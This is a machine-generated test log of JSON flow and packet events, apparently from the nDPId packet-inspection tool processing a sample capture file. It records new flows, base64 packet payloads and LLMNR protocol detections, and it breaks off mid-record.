+00426{"flow_id":105,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":974,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104407,"pkt_ts_usec":128422,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AQBeAAD8zD2CHu7jCABFAAA0LSAAAAER5cXAqAUv4AAA\/NLKFOsAIEGyPY4AAAABAAAAAAAABlJPX1gxQwAA\/wAB"} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":979,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":106,"flow_packet_id":1,"flow_first_seen":1470104407686,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.5.16","dst_ip":"68.233.253.133","src_port":53613,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00424{"flow_id":106,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":979,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104407,"pkt_ts_usec":686919,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TF4M6gNlYMVHBbyMCABFAAA0WZNAAEAG2QnAqAUQROn9hdFtAFBAFGHVDj7nf4AREAGvkQAAAQEIChoPf3zPHNz0"} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":983,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":107,"flow_packet_id":1,"flow_first_seen":1470104408049,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::e98f:bae2:19f7:6b0f","dst_ip":"ff02::1:3","src_port":51451,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00464{"flow_id":107,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":983,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104408,"pkt_ts_usec":49680,"pkt_caplen":92,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":92,"pkt_l4_len":38,"pkt":"MzMAAQAD\/PiuMpcsht1gAAAAACYRAf6AAAAAAAAA6Y+64hn3aw\/\/AgAAAAAAAAAAAAAAAQADyPsU6wAmMfpTdAAAAAEAAAAAAAAM5bCP5L2b5bCI5qmfAAD\/AAE="} +00517{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":983,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":107,"flow_packet_id":1,"flow_first_seen":1470104408049,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::e98f:bae2:19f7:6b0f","dst_ip":"ff02::1:3","src_port":51451,"dst_port":5355,"l4_proto":"udp","ndpi": {"proto":"LLMNR","breed":"Acceptable","category":"Network"}} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":984,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":108,"flow_packet_id":1,"flow_first_seen":1470104408049,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.3.95","dst_ip":"224.0.0.252","src_port":51451,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":108,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":984,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104408,"pkt_ts_usec":49734,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"AQBeAAD8\/PiuMpcsCABFAAA6KyAAAAER6Y\/AqANf4AAA\/Mj7FOsAJrP2U3QAAAABAAAAAAAADOWwj+S9m+WwiOapnwAA\/wAB"} +00506{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":984,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":108,"flow_packet_id":1,"flow_first_seen":1470104408049,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.3.95","dst_ip":"224.0.0.252","src_port":51451,"dst_port":5355,"l4_proto":"udp","ndpi": {"proto":"LLMNR","breed":"Acceptable","category":"Network"}} +00579{"flow_id":21,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":985,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104408,"pkt_ts_usec":49851,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6\/PiuMpcsCABFAAChLEcAAAER2QPAqANf7\/\/\/+uhMB2wAjbUvTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00484{"flow_id":96,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":988,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104408,"pkt_ts_usec":309326,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"ABxCjnAxABAj4ACgCABFAABdfPpAAEAGw\/TAqHNLwKgFEAG70XnKmgFicASki1AYAEaDwAAAFQMDADD9UAWmHPzDcyWHTMkbr+aws3s9GbGe3pjlFHCdq+YYY0\/jfjLm4gDbsSHRJ8BdNNs="} +00417{"flow_id":96,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":989,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104408,"pkt_ts_usec":309379,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABAj4ACgYMVHBbyMCABFAAAo31dAAEAGYczAqAUQwKhzS9F5AbtwBKSLypoBl1AQH\/7iMwAAwKgFEAAA"} +00465{"flow_id":107,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":994,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104408,"pkt_ts_usec":457883,"pkt_caplen":92,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":92,"pkt_l4_len":38,"pkt":"MzMAAQAD\/PiuMpcsht1gAAAAACYRAf6AAAAAAAAA6Y+64hn3aw\/\/AgAAAAAAAAAAAAAAAQADyPsU6wAmMfpTdAAAAAEAAAAAAAAM5bCP5L2b5bCI5qmfAAD\/AAE="} +00435{"flow_id":108,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":995,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104408,"pkt_ts_usec":458018,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"AQBeAAD8\/PiuMpcsCABFAAA6KyIAAAER6Y3AqANf4AAA\/Mj7FOsAJrP2U3QAAAABAAAAAAAADOWwj+S9m+WwiOapnwAA\/wAB"} +00583{"flow_id":82,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":998,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104408,"pkt_ts_usec":661618,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"AQBef\/\/6bEAIlAI6CABFAAClIwIAAAER4HPAqAUw7\/\/\/+sIlB2wAkY1JTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDogMjM5LjI1NS4yNTUuMjUwOjE5MDANClNUOiB1cm46c2NoZW1hcy11cG5wLW9yZzpkZXZpY2U6SW50ZXJuZXRHYXRld2F5RGV2aWNlOjENCk1hbjogInNzZHA6ZGlzY292ZXIiDQpNWDogMw0KDQo="} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":999,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":109,"flow_packet_id":1,"flow_first_seen":1470104408662,"flow_last_seen":0,"flow_tot_l4_data_len":325,"flow_min_l4_data_len":325,"flow_max_l4_data_len":325,"flow_avg_l4_data_len":325,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.125.30","dst_ip":"255.255.255.255","src_port":62976,"dst_port":62976,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00839{"flow_id":109,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":999,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104408,"pkt_ts_usec":662594,"pkt_caplen":359,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":359,"pkt_l4_len":325,"pkt":"\/\/\/\/\/\/\/\/wKC7c+tHCABFAAFZOwBAAEARwM3AqH0e\/\/\/\/\/\/YA9gABRUfM\/\/+TXaAAwKC7c+tHwKh9HgAAAgAnAURHUy0xMjEwLTEwUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABTd2l0Y2gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADMuMTAuMDEzAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwKC7c+tHQjEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABRUDBSMUQ5MDAwMDI1AAAAAAAAAAAAAAAAAAAAAAAAAERHUy0xMjEwLTEwUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAqH0e\/\/8AAFBvcnQgMTAAIAGwMAIUAQDCoLv\/\/nPrR0A="} +00500{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1000,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":110,"flow_packet_id":1,"flow_first_seen":1470104408662,"flow_last_seen":0,"flow_tot_l4_data_len":337,"flow_min_l4_data_len":337,"flow_max_l4_data_len":337,"flow_avg_l4_data_len":337,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b030:214:100:c2a0:bbff:fe73:eb47","dst_ip":"ff02::1","src_port":62976,"dst_port":62976,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00875{"flow_id":110,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1000,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104408,"pkt_ts_usec":662780,"pkt_caplen":391,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":391,"pkt_l4_len":337,"pkt":"MzMAAAABwKC7c+tHht1gAAAAAVERgCABsDACFAEAwqC7\/\/5z60f\/AgAAAAAAAAAAAAAAAAAB9gD2AAFRTer\/D5NdoADAoLtz60cgAbAwAhQBAMKgu\/\/+c+tHAAACACcBREdTLTEyMTAtMTBQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFN3aXRjaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMy4xMC4wMTMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAoLtz60dCMQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFFQMFIxRDkwMDAwMjUAAAAAAAAAAAAAAAAAAAAAAAAAREdTLTEyMTAtMTBQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMCofR7\/\/wAAUG9ydCAxMAAgAbAwAhQBAMKgu\/\/+c+tHQA=="} +00580{"flow_id":2,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1007,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104409,"pkt_ts_usec":276706,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6GF4PUugBCABFAAChMT8AAAER0jHAqAU57\/\/\/+toBB2wAjcGgTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00579{"flow_id":3,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1008,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104409,"pkt_ts_usec":378493,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6SNIkYzEACABFAAChOxoAAAERyGPAqAUs7\/\/\/+si9B2wAjdLxTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1012,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":111,"flow_packet_id":1,"flow_first_seen":1470104409586,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::5d92:62a8:ebde:1319","dst_ip":"ff02::1:3","src_port":53938,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00455{"flow_id":111,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1012,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104409,"pkt_ts_usec":586167,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"MzMAAQADPKn0WgOEht1gAAAAACARAf6AAAAAAAAAXZJiqOveExn\/AgAAAAAAAAAAAAAAAQAD0rIU6wAgVxmmDQAAAAEAAAAAAAAGaXNhdGFwAAABAAE="} +00518{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1012,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":111,"flow_packet_id":1,"flow_first_seen":1470104409586,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::5d92:62a8:ebde:1319","dst_ip":"ff02::1:3","src_port":53938,"dst_port":5355,"l4_proto":"udp","ndpi": {"proto":"LLMNR","breed":"Acceptable","category":"Network"}} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1013,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":112,"flow_packet_id":1,"flow_first_seen":1470104409586,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.3.236","dst_ip":"224.0.0.252","src_port":56043,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00426{"flow_id":112,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1013,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104409,"pkt_ts_usec":586427,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AQBeAAD8PKn0WgOECABFAAA0H6gAAAER9IDAqAPs4AAA\/NrrFOsAIGYJpg0AAAABAAAAAAAABmlzYXRhcAAAAQAB"} +00508{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1013,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":112,"flow_packet_id":1,"flow_first_seen":1470104409586,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.3.236","dst_ip":"224.0.0.252","src_port":56043,"dst_port":5355,"l4_proto":"udp","ndpi": {"proto":"LLMNR","breed":"Acceptable","category":"Network"}} +00455{"flow_id":111,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1014,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104409,"pkt_ts_usec":685484,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"MzMAAQADPKn0WgOEht1gAAAAACARAf6AAAAAAAAAXZJiqOveExn\/AgAAAAAAAAAAAAAAAQAD0rIU6wAgVxmmDQAAAAEAAAAAAAAGaXNhdGFwAAABAAE="} +00427{"flow_id":112,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1015,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104409,"pkt_ts_usec":685499,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AQBeAAD8PKn0WgOECABFAAA0H6kAAAER9H\/AqAPs4AAA\/NrrFOsAIGYJpg0AAAABAAAAAAAABmlzYXRhcAAAAQAB"} +00584{"flow_id":12,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1016,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104409,"pkt_ts_usec":686443,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"AQBef\/\/6zD2CHu7jCABFAAClQLsAAAQRv7vAqAUv7\/\/\/+utrB2wAkWQETS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDogMjM5LjI1NS4yNTUuMjUwOjE5MDANClNUOiB1cm46c2NoZW1hcy11cG5wLW9yZzpkZXZpY2U6SW50ZXJuZXRHYXRld2F5RGV2aWNlOjENCk1hbjogInNzZHA6ZGlzY292ZXIiDQpNWDogMw0KDQo="} +00470{"flow_id":73,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1020,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104409,"pkt_ts_usec":890343,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/PKn0WgOECABFAABOH6wAAIARlbbAqAPswKj\/\/wCJAIkAOqdcilsBEAABAAAAAAAAIEVKRkRFQkZFRUJGQUNBQ0FDQUNBQ0FDQUNBQ0FDQUFBAAAgAAE="} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1028,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":113,"flow_packet_id":1,"flow_first_seen":1470104410885,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":1,"l3_proto":"ip4","src_ip":"119.235.235.84","dst_ip":"192.168.5.16","src_port":443,"dst_port":53406,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +02397{"flow_id":113,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1028,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104410,"pkt_ts_usec":885006,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ABxCjnAxTF4M6gNlCABFAAXcDK5AADMGDHZ36+tUwKgFEAG70J5BKvaX5fLLP1AQABsvzwAAgAIAAgAAAFMAAAANAABiYMcwiMXQzMiMgQcmWlJZkMqglFhQAPR2YgnQQP0K3ZKMosy0EuvkjMSi4tQS29AQN10LsmxnBTJKihm4DE3MDQwNTEwMjQAAAAD\/\/wAAAA0BAAZkbQ8Sj7Oe9PiiwBDc+0M3qnjgDK8RRxC4wMkMm6VV91C1Te+ybrzRLmHpyrK4bZavXIwADOQ6snm8v2H2p2SpH6m06PqK2eSoERX3TNfq7vb1Pveo7PONT9TnUXjkgVt2M1UumsUWGrLgq2GUvlzXvOPLaIXh2WGGxaNQtz1jFVdY+0zrpxEqy\/jQWU3QaN8euscIrVLF\/pkwWAOQct9fJHfuNC\/MfpPEwL\/1AnsUcAaC8\/sfjjx5DIP3T5+kLB\/ky5nWDGzJudLxL39BV679cN3TMGGwCiDjz8BUbsetnqmdz5nZf4AwUpqUBbDH0YbukYFxFpgWx1VK0Ft6NyauHZR77Fn6jjWPJxfrizISaNJJAw2Tqy9duTjvZ6O6coJr6d9MtTXf5qsYx+0KeK8uO221KMufGGsvUAI4YCgvPXVdW0lbCdk\/UWdvQk27qxkaA0bMmmtaoIM\/NdoPPcwHfYUfdLkSeX9aftPdhgNudr\/W5u4Rq9JCuxr+xSmkqaDqd6gSKkqRzGlbbbrcGyF7WGk\/8cG1vc2UHan62LkAAzJEJRwjhuFaCDyVcgr9Hf+VOCu\/WbKVvxixWZOd0y0FbTEIYK9xEk19sHm0uVaBKIvOw8BvnHM4ZoE15rgdy9cOuctKEI63utAOFOf2mQnsx+xGkU5azbbGL0YjiKG9XwO74XxdztUwcLqPr0\/JJmPPgPFoGSWqsm9ugxiAf+6FK5eJomztrl11jHLqcqmSu0amZJ2vzsr+HQ1yaBS8xhtHAlRjYL9oIKpApKM94hPIcq8aaGJEtzamTcDbtBQ1sMPcUE+yUtiBPrlnO9Nwt\/CiYfwjXLhAc57Nmo6vBWzUjss7w\/7Wb9k3zYdX1OxZgy1kvrBuG2WVHzF+IQ9Fq\/pk0IvbsQWQO2qMcnqAwwXAN5zFvFMTcfpV\/GRa6Cvc8ELP86S69D9ZpljWsaAmgFvinMLKj5eAujG5SXpnROjWsWKDhRiTv5p7M\/QvQ5PgsvnxYxwzTtmPmwT4v+9UIamloL6aH4y9ceyGZvFPH\/jOWhlPoGpWSmL8FxzRX8I0ZOH5h7GitpswaZPQenRLegoX\/pJNP3pcJ4kvc\/7oBU9eKhNCbKNIMLr0J2sgbcuo5DzP6xW+1KJlTpJay9bl5Pl0VPdVfr53CYdTOnDLEPtQAs8TDIA8+qWO4m2hTbvXTydzx3h6dgKZjr70r80ubfEhXRuxkxseun6pvNvpxyma0gxSfUYbMbRpJsPfd1POQDYxd1WsmLeynpzweBtMB4CyWpE7em97ncQfT+1jYPiU4C8h442mV+2iNebysC3+tj1kSc3iredU54VVSYsYiDJCTKDt1B72wPesWWs8H1oh07d+p8n6q\/HM+0on3oN8mliBSXdA4qo8xl+PnHCuSiNIcO9F46tn+Si8KqAsE1CoyxalnbQ2XoJdnf\/XNWrUBFQvGpTm8cA2xt6y\/B14Mse3ha6wLlYiZQnR\/q6to9f77axqkMdPEZxW8P1dQkKPv6RSZjX5So+geIVQBTjCtJ438tTlN+BBHx3i57FI5d8+OwESi4EeyLHH\/WufGNcvXF2wAiF6MIh3TqZipTbK\/sfxI05ZUV2K0zFjDFs3q+4O\/gCdO\/GR8NpL14qmcLw4hj2DUzElDJ7z58du\/sTLY9PL12tg2\/g4c+maPg6xMQhEEJZZ2fr0StLQ4dC8yRSCQ5AlLS4oj7J42WuPepbvvAkbIdKlT+5AXzJDvxJIA\/K5zy\/vGwU1kziWNYRVpFmlobTG1I2P3poiceReoPCxgxmEbNKxlIyxGeOkbT03xrhCy3M="} +00784{"flow_id":113,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1029,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104410,"pkt_ts_usec":885806,"pkt_caplen":329,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":329,"pkt_l4_len":295,"pkt":"ABxCjnAxTF4M6gNlCABFAAE7DK9AADMGERZ36+tUwKgFEAG70J5BKvxL5fLLP1AYABuy+gAAjZPukZZc5XVgQ9kkDb42wAG2R4wZPZK09D+mhXOPeysHqbaxc2ukLB7O\/ZQd+BiMnHFH7zgcREAoK8LsJtF9H0HTuFW4zAQpKNlDl6pGtEpiOY1HdxQ1Bv0HkLtvfY7Kkq4QCv1lSYlKLAPMR+Oc9r2t96JVS9ceghm\/Wm9DKfghBx740ADnGdTcU2OF\/8x6UPEOuW6wwYjs3Pb+yZn6sRfXdwloMkU3kuWbA\/HnEcEyg9N63JYWRugH0gCb7wJDNCrha78dJpq+nOGbkegYKzSRi8MebnxJxxwLRQs3jpRKSRVmH0ihWT6Ua9H97Rj8GCDKcrs8+ASvsIB+r3MFWznlQzQS834owopgMgpZRwgoXAU="} +00418{"flow_id":113,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1030,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104410,"pkt_ts_usec":885838,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"TF4M6gNlYMVHBbyMCABFAAAoSVVAAEAGyILAqAUQd+vrVNCeAbvl8ss\/QSr9XlAQHmimXgAAAAAAAAAA"} +02396{"flow_id":113,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1031,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104410,"pkt_ts_usec":886170,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ABxCjnAxTF4M6gNlCABFAAXcDLBAADMGDHR36+tUwKgFEAG70J5BKv1e5fLLP1AQABtZEAAAgAIAAgAAABIAAAAZAADC7iCDgXMQAAAA\/\/8AAAAZAQAGVG0PEo+znvT4osAQ3PtDN6p44AyvEUcQuMDJDJulVfdQtU3vsm680S5h6cqyuG2Wr1yMAAzkOrJ5vL9h9qdkqR+ptOj6itnkqBEV90zX6u729T73qOzzjU\/U51F45IFbdjNVLprFFhqy4KthlL5c17zjy2iF4dlhhsWjULc9YxVXWPtM66cRKsv40FlN0GjfHrrHCK1Sxf6ZMFgDkHLfXyR37jQvzH6TxMC\/9QJ7FHAGgvP7H448eQyD90+fpCwf5MuZ1gxsybnS8S9\/QVeu\/XDd0zBhsAog48\/AVG7HrZ6pnc+Z2X+AMFKalAWwx9GG7pGBcRaYFsdVStBbejcmrh2Ue+xZ+o41jycX64syEmjSSQMNk6svXbk472ejunKCa+nfTLU13+arGMftCnivLjtttSjLnxhrL1ACOGAoLz11XVtJWwnZP1Fnb0JNu6sZGgNGzJprWqCDPzXaDz3MB32FH3S5Enl\/Wn7T3YYDbna\/1ubuEavSQrsa\/sUppKmg6neoEipKkcxpW2263Bshe1hpP\/HBtb3NlB2p+ti5AAMyRCUcI4bhWgg8lXIK\/R3\/lTgrv1mylb8YsVmTndMtBW0xCGCvcRJNfbB5tLlWgSiLzsPAb5xzOGaBNea4HcvXDrnLShCOt7rQDhTn9pkJ7MfsRpFOWs22xi9GI4ihvV8Du+F8Xc7VMHC6j69PySZjz4DxaBklqrJvboMYgH\/uhSuXiaJs7a5ddYxy6nKpkrtGpmSdr87K\/h0N